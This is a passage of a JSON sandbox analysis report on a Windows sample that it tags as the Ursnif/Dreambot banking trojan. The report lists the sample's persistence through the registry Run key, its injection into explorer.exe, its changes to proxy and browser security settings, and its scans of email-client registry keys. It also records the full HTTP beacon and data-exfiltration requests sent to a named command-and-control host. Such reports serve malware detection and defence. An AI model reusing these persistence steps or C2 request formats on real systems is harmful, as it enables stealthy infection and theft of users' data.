\"\"%APPDATA%\\cmdisvc6\\adprtext.exe\" \"C:\\CBF492~1.EXE\"\"\"\" (UID: 00016361-00003552)\n Spawned process \"cmd.exe\" with commandline \"\"cmd /C \"\"%APPDATA%\\cmdisvc6\\adprtext.exe\" \"C:\\CBF492~1.EXE\"\"\"\" (UID: 00016366-00003428)\n Spawned process \"adprtext.exe\" with commandline \"\"C:\\CBF492~1.EXE\" (UID: 00016368-00003484)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"7C.bin\" has type \"Zip archive data at least v2.0 to extract\"\n \"adprtext.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"649B.bin\" has type \"Zip archive data (empty)\"\n \"39F7.bin\" has type \"Zip archive data at least v2.0 to extract\"\n \"7FA1.bat\" has type \"ASCII text with CRLF line terminators\"\n \"01D333DF833FE2A00B\" has type \"Little-endian UTF-16 Unicode text with CRLF CR line terminators\"\n \"01D333DF5EEEB0C00B\" has type \"Little-endian UTF-16 Unicode text with CRLF CR line terminators\"\n \"prefs.js\" has type \"ASCII text with very long lines with CRLF line terminators\"\n \"01D333E0335680500B\" has type \"Little-endian UTF-16 Unicode text with CRLF CR line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$25","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"odkmtbuecjbhe.net\"\n Heuristic match: \"LI.tL\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"adprtext.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"explorer.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Scanning for process managers","description":"\"\" searching for class \"ProgMan\"\n \"adprtext.exe\" searching for class \"ProgMan\"","origin":"API Call","relevance":10,"id":"api-15","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8.exe.bin\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"adprtext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/64 reputation engines marked \"http://odkmtbuecjbhe.net\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.dll at 62766-1823-004780F2\n LockResource@KERNEL32.dll at 62766-1824-00478095","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /images/IqTFyCUM9SIHpRNJCQBwg/KNXaJtC5chfdxYP0/vlDkpc0sQ4OXN4_/2FJf9YCBlHQ30p0egX/Y0jTRSC1F/d4BmXwaLgBcSUXVWzyvg/ix6bMmfgspcWIUq4qAv/wFXRND_2BqM31ILYs_2Fqv/cSUMTSa7KvhT6/VTDgSOhq/8fMzQ0AB7ey2o/zH_2B.bmp HTTP/1.1\nContent-Type: multipart/form-data; boundary=388357742910837181941788\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nContent-Length: 415\nConnection: Keep-Alive\nCache-Control: no-cache\" with no payload\n \"POST /images/zi6qqnzySG466Ji3X6TY1/ohxJGEVu_2Bnntpc/ED5AXzBtMZWZKRJ/HtKx7KP3btPdD0pamJ/P86tOtmf4/r_2BMePgPmyq8h4hFESo/QWgpafLhhmKd3CgIZsJ/HxZW7iDXJB8etK8iMut0KI/dJPQdJXn6hSQF/G7IVmeYTn1qmQv9pAk49/Io.bmp HTTP/1.1\nContent-Type: multipart/form-data; boundary=399993542909673601999967\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nContent-Length: 605\nConnection: Keep-Alive\nCache-Control: no-cache\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"adprtext.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"API-GSVC\"; Value: \"%APPDATA%\\cmdisvc6\\adprtext.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"System Security","name":"Has the capability to lower Firefox security settings","description":"\"user_pref(\"network.http.spdy.enabled\", false);\" (Indicator: \"user_pref(\"network.http.spdy.enabled\",false);\"; File: \"prefs.js\")","origin":"File/Memory","relevance":10,"id":"string-60","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"explorer.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"explorer.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n UnhandledExceptionFilter\n GetModuleHandleA\n TerminateProcess\n LoadLibraryW\n GetTickCount\n GetVersionExA\n LoadLibraryA\n GetStartupInfoA\n GetStartupInfoW\n GetProcAddress\n CreateFileA\n LockResource\n GetCommandLineW\n GetModuleHandleW\n FindResourceW\n Sleep\n VirtualAlloc\n GetWindowThreadProcessId\n GetLastActivePopup\n SetWindowsHookExW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET TROJAN Ursnif Variant CnC Beacon\" (SID: 2021813, Rev: 6, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET TROJAN Ursnif Variant CnC Beacon 4\" (SID: 2021829, Rev: 3, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET TROJAN Ursnif Variant CnC Data Exfil\" (SID: 2021830, Rev: 3, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ETPRO TROJAN W32.Dreambot Checkin\" (SID: 2823044, Rev: 4, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"13/64 Antivirus vendors marked sample as malicious (20% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"13/64 Antivirus vendors marked sample as malicious (20% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"13/64 Antivirus vendors marked dropped file \"adprtext.exe\" as malicious (classified as \"DangerousObject.Multi\" with 20% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"13/64 Antivirus vendors marked spawned process \"adprtext.exe\" (PID: 3484) as malicious (classified as \"DangerousObject.Multi\" with 20% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00016875-00001396)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into remote processes","description":"Injected into \"explorer.exe\" at 2017-9-22.13:09:14.279 (UID: 00016875-00001396)","origin":"Monitored Target","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"adprtext.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\explorer.exe\" (Handle: 296)\n \"adprtext.exe\" wrote 792 bytes to a remote process \"%WINDIR%\\explorer.exe\" (Handle: 296)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Scans for artifacts that may help identify the target","description":"\"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS LIVE MAIL\")\n \"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\15.0\\OUTLOOK\\PROFILES\\OUTLOOK\\\")\n \"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\16.0\\OUTLOOK\\PROFILES\\OUTLOOK\\\")","origin":"Registry Access","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Touched instant messenger related registry keys","description":"\"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS LIVE MAIL\")","origin":"Registry Access","relevance":5,"id":"registry-34","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"malicious","category":"System Security","name":"Disables SPDY-connections","description":"\"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"ENABLESPDY3_0\"; Value: \"00000000\")","origin":"Registry Access","relevance":5,"id":"registry-41","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Stealer/Phishing","details_count":2,"details":[{"detail":"Touched instant messenger related registry keys"},{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Injects into remote processes"},{"detail":"Injects into explorer"}],"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the active computer name"},{"detail":"Scans for artifacts that may help identify the target"}],"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":38,"imported_dlls_count":65,"dropped_files_count":0,"extracted_files_count":9,"files_written_count":47,"files_deleted_count":0,"registry_keys_created_count":21,"registry_keys_modified_count":0,"registry_keys_deleted_count":3,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":24,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["dreambot","gozi","isfb","papras","ursnif"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"59c4fd577ca3e14be367fd58","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"DangerousObject.Multi","contacted_countries":["UKR"],"submit_name":"niga.exe","analysis_start_time":"2017-09-22T13:07:48+00:00","indicators_count":{"informative":19,"suspicious":18,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"77.121.72.114","port":80,"protocol":"TCP","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}],"dns_resolutions":[{"domain":"odkmtbuecjbhe.net","address":"77.121.72.114","country":"Ukraine","registrar_name":"Internet Domain Service BS Corp.","registrar_organization":"NA","registrar_creation_date":"2017-09-13T13:43:43+00:00","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}],"http_requests":[{"host":"odkmtbuecjbhe.net","host_ip":"77.121.72.114:80","url":"/images/QK9tqx9WFo3M9rZPvGA1JE/zuTve_2FoHwl6/mSJuD3sI/fknyX45XgaNFVCHpZUngPLx/c7wj7eg0wO/6NJPPB5K_2BKWXzka/Xzgq1FSP7Lts/gtToSSWaIiw/g_2BX2AutetjAT/pYIQL9L6GWoyrdWVM78ru/6yrMq.gif","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /images/QK9tqx9WFo3M9rZPvGA1JE/zuTve_2FoHwl6/mSJuD3sI/fknyX45XgaNFVCHpZUngPLx/c7wj7eg0wO/6NJPPB5K_2BKWXzka/Xzgq1FSP7Lts/gtToSSWaIiw/g_2BX2AutetjAT/pYIQL9L6GWoyrdWVM78ru/6yrMq.gif HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"host":"odkmtbuecjbhe.net","host_ip":"77.121.72.114:80","url":"/images/IqTFyCUM9SIHpRNJCQBwg/KNXaJtC5chfdxYP0/vlDkpc0sQ4OXN4_/2FJf9YCBlHQ30p0egX/Y0jTRSC1F/d4BmXwaLgBcSUXVWzyvg/ix6bMmfgspcWIUq4qAv/wFXRND_2BqM31ILYs_2Fqv/cSUMTSa7KvhT6/VTDgSOhq/8fMzQ0AB7ey2o/zH_2B.bmp","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /images/IqTFyCUM9SIHpRNJCQBwg/KNXaJtC5chfdxYP0/vlDkpc0sQ4OXN4_/2FJf9YCBlHQ30p0egX/Y0jTRSC1F/d4BmXwaLgBcSUXVWzyvg/ix6bMmfgspcWIUq4qAv/wFXRND_2BqM31ILYs_2Fqv/cSUMTSa7KvhT6/VTDgSOhq/8fMzQ0AB7ey2o/zH_2B.bmp HTTP/1.1\nContent-Type: multipart/form-data; boundary=388357742910837181941788\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nContent-Length: 415\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"host":"odkmtbuecjbhe.net","host_ip":"77.121.72.114:80","url":"/images/14T2rMix04cBsGUeUxYZ/UVd_2B6wo1Iea1IlhaT/ZmBVNl03MSDkmAppGAk2eN/KiPcABBbbyzWz/t6npgDV_/2BeUXUMtBAm54LqjLSndQyk/bS3Uz82okv/zbO_2BInNvGjJaLsn/J6D06E82VOVY/vVwGpu6POsw/f.gif","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /images/14T2rMix04cBsGUeUxYZ/UVd_2B6wo1Iea1IlhaT/ZmBVNl03MSDkmAppGAk2eN/KiPcABBbbyzWz/t6npgDV_/2BeUXUMtBAm54LqjLSndQyk/bS3Uz82okv/zbO_2BInNvGjJaLsn/J6D06E82VOVY/vVwGpu6POsw/f.gif HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"host":"odkmtbuecjbhe.net","host_ip":"77.121.72.114:80","url":"/images/zi6qqnzySG466Ji3X6TY1/ohxJGEVu_2Bnntpc/ED5AXzBtMZWZKRJ/HtKx7KP3btPdD0pamJ/P86tOtmf4/r_2BMePgPmyq8h4hFESo/QWgpafLhhmKd3CgIZsJ/HxZW7iDXJB8etK8iMut0KI/dJPQdJXn6hSQF/G7IVmeYTn1qmQv9pAk49/Io.bmp","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /images/zi6qqnzySG466Ji3X6TY1/ohxJGEVu_2Bnntpc/ED5AXzBtMZWZKRJ/HtKx7KP3btPdD0pamJ/P86tOtmf4/r_2BMePgPmyq8h4hFESo/QWgpafLhhmKd3CgIZsJ/HxZW7iDXJB8etK8iMut0KI/dJPQdJXn6hSQF/G7IVmeYTn1qmQv9pAk49/Io.bmp HTTP/1.1\nContent-Type: multipart/form-data; boundary=399993542909673601999967\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nContent-Length: 605\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}],"processes":[{"pid":3232,"ppid":0,"name":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8.exe","command_line":"","sha256":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","normalized_path":"C:\\cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8.exe","uid":"00014693-00003232","icon":"$26"},{"pid":3552,"ppid":3232,"name":"cmd.exe","command_line":"\"cmd /c \"\"%APPDATA%\\cmdisvc6\\adprtext.exe\" \"C:\\CBF492~1.EXE\"\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014693-00003232","uid":"00016361-00003552","icon":"$27"},{"pid":3428,"ppid":3552,"name":"cmd.exe","command_line":"\"cmd /C \"\"%APPDATA%\\cmdisvc6\\adprtext.exe\" \"C:\\CBF492~1.EXE\"\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016361-00003552","uid":"00016366-00003428","icon":"$28"},{"pid":3484,"ppid":3428,"name":"adprtext.exe","command_line":"\"C:\\CBF492~1.EXE","sha256":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","normalized_path":"%APPDATA%\\cmdisvc6\\adprtext.exe","parent_uid":"00016366-00003428","uid":"00016368-00003484","icon":"$29"},{"pid":1396,"ppid":3484,"name":"explorer.exe","command_line":"","sha256":"0a8ce026714e03e72c619307bd598add5f9b639cfd91437cb8d9c847bf9f6894","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00016368-00003484","uid":"00016875-00001396","icon":"$2a"}],"all_imported_dlls":["msxml3r.dll","rpcrt4.dll","setupapi.dll","cryptbase.dll","msoeacct.dll","rtutils.dll","shell32.dll","apphelp.dll","INETRES.dll","oleaut32.dll","uxtheme.dll","comctl32.dll","imm32.dll","msctf.dll","devobj.dll","winbrand.dll","inetcomm.dll","ACCTRES.dll","wship6.dll","ntdll.dll","lpk.dll","cfgmgr32.dll","wintrust.dll","crypt32.dll","Wldap32.dll","profapi.dll","sspicli.dll","wininet.dll","WSHTCPIP.DLL","rasman.dll","gdi32.dll","msoert2.dll","user32.dll","usp10.dll","shlwapi.dll","advapi32.dll","clbcatq.dll","iertutil.dll","msimg32.dll","mswsock.dll","sechost.dll","imagehlp.dll","wab32.dll","rasapi32.dll","NapiNSP.dll","propsys.dll","dnsapi.dll","winrnr.dll","KernelBase.dll","rpcss.dll","msxml6r.dll","pnrpnsp.dll","msvcrt.dll","oleacc.dll","urlmon.dll","msxml3.dll","rasadhlp.dll","ole32.dll","oleaccrc.dll","msasn1.dll","msxml6.dll","SensApi.dll","FWPUCLNT.DLL","kernel32.dll","ntmarta.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"adprtext.exe","sha256":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"649B.bin","sha256":"8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"01D333DF5EEEB0C00B","sha256":"574f17e0121b928f3f3a1069c1bca0256c7fa896fce61b5a8035eba7bf619867","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"prefs.js","sha256":"878aa99e2cf190d0c4f35d72398e26d4214e15b13d058412837fe36e67a983d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"39F7.bin","sha256":"7a275d7ceb808ca0be5b600e7f1c9450d57d3972e20e90ef23006feaca8b3540","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"7FA1.bat","sha256":"3b78b0e11edf58ad7272289c14aa68d2806b90975b982007baa0ee169f91a91d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"7C.bin","sha256":"a3628127dcc08ab8edadcbe41c5e8cd709e3d6bb8d74b7d362476d4efe55c0e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"01D333DF833FE2A00B","sha256":"7518d26531e51c97b4b87fce4affe0445efaf4bd295e1bedd23441a761096692","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"01D333E0335680500B","sha256":"f41f9a0f3d76dff5a4947b173401eebf6525f3bafa5a9632ab08c2ce8cb5bbac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}],"files_written":[{"path":"C:\\cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8.exe","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%TEMP%\\DC42\\7FA1.tmp","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\system32\\en-US\\PROPSYS.dll.mui","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\system32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"c:\\321.txt","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\system32\\c_1252.nls","sources":[{"report_type":"